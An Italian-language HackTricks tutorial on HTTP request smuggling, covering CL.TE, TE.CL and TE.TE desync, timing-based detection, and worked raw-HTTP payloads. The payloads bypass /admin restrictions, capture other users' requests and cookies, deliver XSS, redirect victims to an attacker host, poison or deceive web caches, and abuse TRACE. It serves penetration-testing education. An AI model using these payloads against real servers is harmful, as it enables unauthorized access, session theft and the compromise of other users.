# HTTP Request Smuggling / Attacco di desincronizzazione HTTP

<details>

<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

</details>

## Che cos'è

Questa vulnerabilità si verifica quando una **desincronizzazione** tra i **proxy front-end** e il **server back-end** consente a un **attaccante** di **inviare** una richiesta HTTP che verrà **interpretata** come una **singola richiesta** dai **proxy front-end** (bilanciamento del carico/reverse-proxy) e **come 2 richieste** dal **server back-end**.\
Ciò consente a un utente di **modificare la prossima richiesta che arriva al server back-end dopo la sua**.

### Teoria

[**Specifica RFC (2161)**](https://tools.ietf.org/html/rfc2616)

> Se un messaggio viene ricevuto con entrambi un campo intestazione Transfer-Encoding e un campo intestazione Content-Length, quest'ultimo DEVE essere ignorato.

**Content-Length**

> L'intestazione dell'entità Content-Length indica le dimensioni del corpo dell'entità, in byte, inviato al destinatario.

**Transfer-Encoding: chunked**

> L'intestazione Transfer-Encoding specifica la forma di codifica utilizzata per trasferire in modo sicuro il corpo del payload all'utente.\
> Chunked significa che i dati di grandi dimensioni vengono inviati in una serie di chunk

### Realtà

Il **Front-End** (un bilanciamento del carico / Reverse Proxy) **elabora** l'intestazione _**content-length**_ o l'intestazione _**transfer-encoding**_ e il **server Back-end** **elabora l'altra** provocando una **desincronizzazione** tra i 2 sistemi.\
Ciò potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al proxy inverso che verrà **interpretata** dal **server back-end come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il **server back-end interpreterà la 2a richiesta iniettata** come se fosse **arrivata dal cliente successivo** e la **richiesta reale** di quel cliente farà **parte** della **richiesta iniettata**.

### Particolarità

Ricorda che in HTTP **un carattere di nuova riga è composto da 2 byte:**

* **Content-Length**: Questa intestazione utilizza un **numero decimale** per indicare il **numero** di **byte** del **corpo** della richiesta. Ci si aspetta che il corpo termini nell'ultimo carattere, **non è necessario un carattere di nuova riga alla fine della richiesta**.
* **Transfer-Encoding:** Questa intestazione utilizza nel **corpo** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova riga** ma questa nuova riga **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di dimensione 0 seguito da 2 nuove righe**: `0`
* **Connection**: Sulla base della mia esperienza, è consigliabile utilizzare **`Connection: keep-alive`** nella prima richiesta di Smuggling della richiesta.

## Esempi di base

{% hint style="success" %}
Quando si cerca di sfruttare ciò con Burp Suite **disabilitare `Aggiorna Content-Length` e `Normalizza fine linee HTTP/1`** nel repeater perché alcuni gadget abusano di nuove righe, ritorni a capo e lunghezze di contenuto malformate.
{% endhint %}

Gli attacchi di smuggling delle richieste HTTP sono creati inviando richieste ambigue che sfruttano le discrepanze nell'interpretazione degli header `Content-Length` (CL) e `Transfer-Encoding` (TE) da parte dei server front-end e back-end. Questi attacchi possono manifestarsi in forme diverse, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità derivano dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.

### Esempi di base dei tipi di vulnerabilità

![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)

#### Vulnerabilità CL.TE (Content-Length usato dal Front-End, Transfer-Encoding usato dal Back-End)

* **Front-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
* **Back-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
* **Scenario di attacco:**
* L'attaccante invia una richiesta in cui il valore dell'intestazione `Content-Length` non corrisponde alla lunghezza effettiva del contenuto.
* Il server front-end inoltra l'intera richiesta al back-end, in base al valore di `Content-Length`.
* Il server back-end elabora la richiesta come chunked a causa dell'intestazione `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una richiesta separata e successiva.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x
```

#### Vulnerabilità TE.CL (Transfer-Encoding usato dal Front-End, Content-Length usato dal Back-End)

* **Front-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
* **Back-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
* **Scenario di attacco:**
* L'attaccante invia una richiesta chunked in cui la dimensione del chunk (`7b`) e la lunghezza effettiva del contenuto (`Content-Length: 4`) non si allineano.
* Il server front-end, rispettando `Transfer-Encoding`, inoltra l'intera richiesta al back-end.
* Il server back-end, rispettando `Content-Length`, elabora solo la parte iniziale della richiesta (`7b` byte), lasciando il resto come parte di una successiva richiesta non intenzionale.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

```
#### Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con oscuramento)

* **Server:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato nell'ignorarlo tramite oscuramento.
* **Scenario di attacco:**
* L'attaccante invia una richiesta con intestazioni `Transfer-Encoding` oscurate.
* A seconda di quale server (front-end o back-end) non riconosce l'oscuramento, potrebbe essere sfruttata una vulnerabilità CL.TE o TE.CL.
* La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando al traffico illecito.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

#### **Scenario CL.CL (Content-Length utilizzato sia dal Front-End che dal Back-End):**

* Entrambi i server elaborano la richiesta basandosi esclusivamente sull'intestazione `Content-Length`.
* Questo scenario tipicamente non porta al traffico illecito, poiché c'è allineamento su come entrambi i server interpretano la lunghezza della richiesta.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Richiesta Normale
```

#### **Scenario CL != 0:**

* Si riferisce a scenari in cui l'intestazione `Content-Length` è presente e ha un valore diverso da zero, indicando che il corpo della richiesta ha contenuto.
* È cruciale per comprendere e creare attacchi di traffico illecito, poiché influisce su come i server determinano la fine di una richiesta.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo Non Vuoto
```

#### Rompere il server web

Questa tecnica è utile anche in scenari in cui è possibile **interrompere un server web durante la lettura dei dati HTTP iniziali** ma **senza chiudere la connessione**. In questo modo, il **corpo** della richiesta HTTP sarà considerato la **prossima richiesta HTTP**.

Ad esempio, come spiegato in [**questo articolo**](https://mizu.re/post/twisty-python), in Werkzeug era possibile inviare alcuni caratteri **Unicode** e far rompere il server. Tuttavia, se la connessione HTTP è stata creata con l'intestazione **`Connection: keep-alive`**, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il **corpo** della richiesta sarà trattato come la **prossima richiesta HTTP**.

#### Forzatura tramite intestazioni hop-by-hop

Abusando delle intestazioni hop-by-hop è possibile indicare al proxy di **eliminare l'intestazione Content-Length o Transfer-Encoding in modo che sia possibile abusare di una richiesta HTTP smuggling**.
```
Connection: Content-Length
```
Per **ulteriori informazioni sui header hop-by-hop** visita:

{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}

## Scoperta di HTTP Request Smuggling

Identificare le vulnerabilità di HTTP request smuggling può spesso essere raggiunto utilizzando tecniche di temporizzazione, che si basano sull'osservazione di quanto tempo impiega il server a rispondere alle richieste manipolate. Queste tecniche sono particolarmente utili per rilevare le vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, ci sono altre strategie e strumenti che possono essere utilizzati per trovare tali vulnerabilità:

### Scoperta delle Vulnerabilità CL.TE Utilizzando Tecniche di Temporizzazione

* **Metodo:**
* Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```
* **Osservazione:**
* Il server front-end elabora la richiesta in base a `Content-Length` e interrompe prematuramente il messaggio.
* Il server back-end, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.
* **Indicatori:**
* Timeout o lunghi ritardi nella risposta.
* Ricezione di un errore 400 Bad Request dal server back-end, a volte con informazioni dettagliate sul server.

### Scoperta delle Vulnerabilità TE.CL Utilizzando Tecniche di Temporizzazione

* **Metodo:**
* Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```
* **Osservazione:**
* Il server front-end elabora la richiesta in base a `Transfer-Encoding` e inoltra l'intero messaggio.
* Il server back-end, aspettandosi un messaggio in base a `Content-Length`, attende dati aggiuntivi che non arrivano mai, causando un ritardo.

### Altri Metodi per Trovare Vulnerabilità

* **Analisi Differenziale delle Risposte:**
* Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inaspettato, indicando una discrepanza di analisi.
* **Utilizzo di Strumenti Automatici:**
* Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
* **Test di Varianza della Content-Length:**
* Inviare richieste con valori di `Content-Length` variabili che non corrispondono alla lunghezza effettiva del contenuto e osservare come il server gestisce tali discrepanze.
* **Test di Varianza del Transfer-Encoding:**
* Inviare richieste con intestazioni `Transfer-Encoding` oscurate o malformate e monitorare come i server front-end e back-end rispondono in modo diverso a tali manipolazioni.

### Test di Vulnerabilità di HTTP Request Smuggling

Dopo aver confermato l'efficacia delle tecniche di temporizzazione, è cruciale verificare se le richieste dei client possono essere manipolate. Un metodo diretto è tentare di avvelenare le tue richieste, ad esempio, facendo sì che una richiesta a `/` produca una risposta 404. Gli esempi `CL.TE` e `TE.CL` precedentemente discussi in [Esempi di Base](./#basic-examples) dimostrano come avvelenare una richiesta del client per ottenere una risposta 404, nonostante il client stia cercando di accedere a una risorsa diversa.

**Considerazioni Chiave**

Quando si testano le vulnerabilità di request smuggling interferendo con altre richieste, tenere presente:

* **Connessioni di Rete Distinte:** Le richieste "attacco" e "normale" dovrebbero essere inviate tramite connessioni di rete separate. Utilizzare la stessa connessione per entrambe non convalida la presenza della vulnerabilità.
* **URL e Parametri Coerenti:** Cerca di utilizzare URL e nomi di parametro identici per entrambe le richieste. Le moderne applicazioni spesso instradano le richieste verso server back-end specifici in base all'URL e ai parametri. Il corrispondere aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, un prerequisito per un attacco riuscito.
* **Temporizzazione e Condizioni di Gara:** La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", compete con altre richieste dell'applicazione concorrenti. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Applicazioni impegnate potrebbero richiedere più prove per una conferma conclusiva della vulnerabilità.
* **Sfide del Bilanciamento del Carico:** I server front-end che agiscono come bilanciatori di carico possono distribuire le richieste su vari sistemi back-end. Se le richieste "attacco" e "normale" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico potrebbe richiedere diversi tentativi per confermare una vulnerabilità.
* **Impatto non Intenzionale sugli Utenti:** Se il tuo attacco influisce involontariamente su un'altra richiesta dell'utente (non la richiesta "normale" inviata per la rilevazione), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Il continuo testing potrebbe interrompere altri utenti, richiedendo un approccio cauto.

## Abuso di HTTP Request Smuggling

### Circumvenzione della Sicurezza Front-End tramite HTTP Request Smuggling

A volte, i proxy front-end applicano misure di sicurezza, scrutando le richieste in arrivo. Tuttavia, tali misure possono essere aggirate sfruttando HTTP Request Smuggling, consentendo l'accesso non autorizzato a endpoint restritti. Ad esempio, l'accesso a `/admin` potrebbe essere proibito esternamente, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe trascurare di ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una falla per eludere queste restrizioni.

Considera i seguenti esempi che illustrano come HTTP Request Smuggling può essere utilizzato per aggirare i controlli di sicurezza front-end, mirando specificamente al percorso `/admin` che di solito è protetto dal proxy front-end:

**Esempio CL.TE**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```
Nell'attacco CL.TE, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione `Transfer-Encoding: chunked`. Il proxy front-end elabora la richiesta `POST` iniziale ma non ispeziona la richiesta `GET /admin` incorporata, consentendo l'accesso non autorizzato al percorso `/admin`.

**Esempio TE.CL**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

```
Al contrario, nell'attacco TE.CL, la richiesta `POST` iniziale utilizza `Transfer-Encoding: chunked`, e la successiva richiesta incorporata viene elaborata in base all'intestazione `Content-Length`. Simile all'attacco CL.TE, il proxy front-end trascura la richiesta `GET /admin` nascosta, concedendo involontariamente l'accesso al percorso `/admin` protetto.

### Rivelazione della riscrittura della richiesta front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in ingresso prima di passarle al server back-end. Una modifica tipica coinvolge l'aggiunta di intestazioni, come `X-Forwarded-For: <IP del client>`, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **eludere protezioni** o **scoprire informazioni o endpoint nascosti**.

Per indagare su come un proxy modifica una richiesta, individuare un parametro POST che il back-end ripete nella risposta. Quindi, creare una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=
```
Nella struttura, i componenti della richiesta successiva vengono aggiunti dopo `search=`, che è il parametro riflessi nella risposta. Questa riflessione esporrà gli header della richiesta successiva.

È importante allineare l'header `Content-Length` della richiesta nidificata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e incrementare gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.

Questa tecnica è anche applicabile nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Questo metodo serve principalmente per comprendere le modifiche alla richiesta apportate dal proxy front-end, svolgendo essenzialmente un'indagine autodiretta.

### Catturare le richieste di altri utenti <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

È fattibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:

Aggiungendo la seguente richiesta come valore di un parametro, è possibile memorizzare la richiesta del cliente successivo:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In questo scenario, il **parametro commento** è destinato a memorizzare i contenuti all'interno della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.

Tuttavia, questa tecnica ha delle limitazioni. Generalmente, cattura dati solo fino al delimitatore del parametro utilizzato nella richiesta nascosta. Per le sottomissioni di moduli codificati in URL, questo delimitatore è il carattere `&`. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo `&`, che potrebbe anche far parte della stringa di query.

Inoltre, è importante notare che questo approccio è anche fattibile con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe concludersi con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

### Utilizzare l'HTTP request smuggling per sfruttare il XSS riflesso

L'HTTP Request Smuggling può essere sfruttato per sfruttare le pagine web vulnerabili al **XSS riflesso**, offrendo significativi vantaggi:

* L'interazione con gli utenti target **non è richiesta**.
* Consente lo sfruttamento del XSS in parti della richiesta normalmente **inaccessibili**, come gli header della richiesta HTTP.

Nei casi in cui un sito web è suscettibile al XSS riflesso tramite l'header User-Agent, il seguente payload dimostra come sfruttare questa vulnerabilità:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```
Questo payload è strutturato per sfruttare la vulnerabilità tramite:

1. Avviare una richiesta `POST`, apparentemente tipica, con un'intestazione `Transfer-Encoding: chunked` per indicare l'inizio del traffico illecito.
2. Seguire con un `0`, segnando la fine del corpo del messaggio chunked.
3. Successivamente, viene introdotta una richiesta `GET` contrabbandata, in cui l'intestazione `User-Agent` è iniettata con uno script, `<script>alert(1)</script>`, attivando il XSS quando il server elabora questa richiesta successiva.

Manipolando l'intestazione `User-Agent` tramite il traffico illecito, il payload elude i vincoli normali della richiesta, sfruttando così la vulnerabilità XSS riflessa in modo non standard ma efficace.

#### HTTP/0.9

{% hint style="danger" %}
Nel caso in cui il contenuto dell'utente venga riflesso in una risposta con un **`Content-type`** come **`text/plain`**, impedendo l'esecuzione del XSS. Se il server supporta **HTTP/0.9 potrebbe essere possibile aggirare questo**!
{% endhint %}

La versione HTTP/0.9 era precedente alla 1.0 e utilizza solo verbi **GET** e **non** risponde con **intestazioni**, solo il corpo.

In [**questo articolo**](https://mizu.re/post/twisty-python), questo è stato abusato con un traffico illecito e un **punto finale vulnerabile che risponderà con l'input dell'utente** per contrabbandare una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con intestazioni e corpo)** quindi la risposta conterrà codice JS eseguibile valido con un `Content-Type` di `text/html`.

### Sfruttare i Reindirizzamenti On-site con il Traffico Illecito delle Richieste HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

Le applicazioni spesso reindirizzano da un URL a un altro utilizzando il nome host dall'intestazione `Host` nell'URL di reindirizzamento. Questo è comune con server web come Apache e IIS. Ad esempio, richiedere una cartella senza una barra finale porta a un reindirizzamento per includere la barra:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Risultati in:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando lo smuggling di richieste HTTP per reindirizzare gli utenti verso un sito esterno. Ad esempio:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Questo richiesta contrabbandata potrebbe causare il reindirizzamento della richiesta dell'utente successivo verso un sito web controllato dall'attaccante:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Risultati in:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
### Sfruttare l'Avvelenamento della Cache Web tramite Smuggling delle Richieste HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

L'avvelenamento della cache web può essere eseguito se un qualsiasi componente dell'**infrastruttura front-end memorizza nella cache il contenuto**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **avvelenare la cache**.

Precedentemente, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento agli [Esempi di Base](./#basic-examples)). Allo stesso modo, è fattibile ingannare il server affinché fornisca il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` non accessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Redirect Aperto** o se c'è un **redirect sul sito a un redirect aperto**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il nuovo `/static/include.js`.

Di seguito è riportata un'illustrazione dello sfruttamento dell'**avvelenamento della cache combinato con un redirect sul sito a un redirect aperto**. L'obiettivo è modificare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```
Nota la richiesta incorporata che mira a `/post/next?postId=3`. Questa richiesta verrà reindirizzata a `/post?postId=4`, utilizzando il **valore dell'intestazione Host** per determinare il dominio. Modificando l'intestazione **Host**, l'attaccante può reindirizzare la richiesta al proprio dominio (**reindirizzamento sul sito a reindirizzamento aperto**).

Dopo il successivo **avvelenamento del socket**, dovrebbe essere avviata una richiesta **GET** per `/static/include.js`. Questa richiesta sarà contaminata dalla precedente richiesta di **reindirizzamento sul sito a reindirizzamento aperto** e recupererà il contenuto dello script controllato dall'attaccante.

Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.

### Utilizzo del traffico HTTP per eseguire l'inganno della cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

> **Qual è la differenza tra l'avvelenamento della cache web e l'inganno della cache web?**
>
> * Nell'**avvelenamento della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
> * Nell'**inganno della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.

L'attaccante crea una richiesta contrabbandata che recupera contenuti sensibili specifici dell'utente. Considera il seguente esempio:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Se questa richiesta contrabbandata avvelena una voce nella cache destinata a contenuti statici (ad esempio, `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella voce della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.

### Abuso di TRACE tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**In questo post**](https://portswigger.net/research/trace-desync-attack) viene suggerito che se il server ha abilitato il metodo TRACE potrebbe essere possibile abusarne con una HTTP Request Smuggling. Questo perché questo metodo rifletterà qualsiasi intestazione inviata al server come parte del corpo della risposta. Ad esempio:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Risponderà inviando una risposta come:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Un esempio su come abusare di questo comportamento sarebbe **di contrabbandare prima una richiesta HEAD**. Questa richiesta verrà risposta solo con gli **header** di una richiesta GET (**`Content-Type`** tra di essi). E contrabbandare **immediatamente dopo la HEAD una richiesta TRACE**, che **rifletterà i dati inviati**.\
Poiché la risposta HEAD conterrà un header `Content-Length`, la **risposta della richiesta TRACE verrà trattata come il corpo della risposta HEAD, riflettendo quindi dati arbitrari** nella risposta. \
Questa risposta verrà inviata alla prossima richiesta sulla connessione, quindi questo potrebbe essere **utilizzato in un file JS memorizzato nella cache, ad esempio per iniettare codice JS arbitrario**.

### Abuso di TRACE tramite la divisione della risposta HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

Continuare a seguire [**questo post**](https://portswigger.net/research/trace-desync-attack) suggerisce un altro modo per abusare del metodo TRACE. Come commentato, contrabbandando una richiesta HEAD e una richiesta TRACE è possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è essenzialmente indicata nell'header Content-Length ed è formata dalla risposta alla richiesta TRACE.

Pertanto, la nuova idea sarebbe che, conoscendo questa Content-Length e i dati forniti nella risposta TRACE, è possibile fare in modo che la risposta TRACE contenga una valida risposta HTTP dopo l'ultimo byte della Content-Length, consentendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere utilizzata per eseguire un avvelenamento della cache).

Esempio:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del corpo di HEAD e una volta che il Content-Length di HEAD termina, viene contrabbandata una risposta HTTP valida):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>
```
### Armati di Smuggling delle Richieste HTTP con la Desincronizzazione delle Risposte HTTP

Hai trovato una vulnerabilità di Smuggling delle Richieste HTTP e non sai come sfruttarla. Prova questo altro metodo di exploit:

{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}

### Altre Tecniche di Smuggling delle Richieste HTTP

* Smuggling delle Richieste HTTP del Browser (Lato Client)

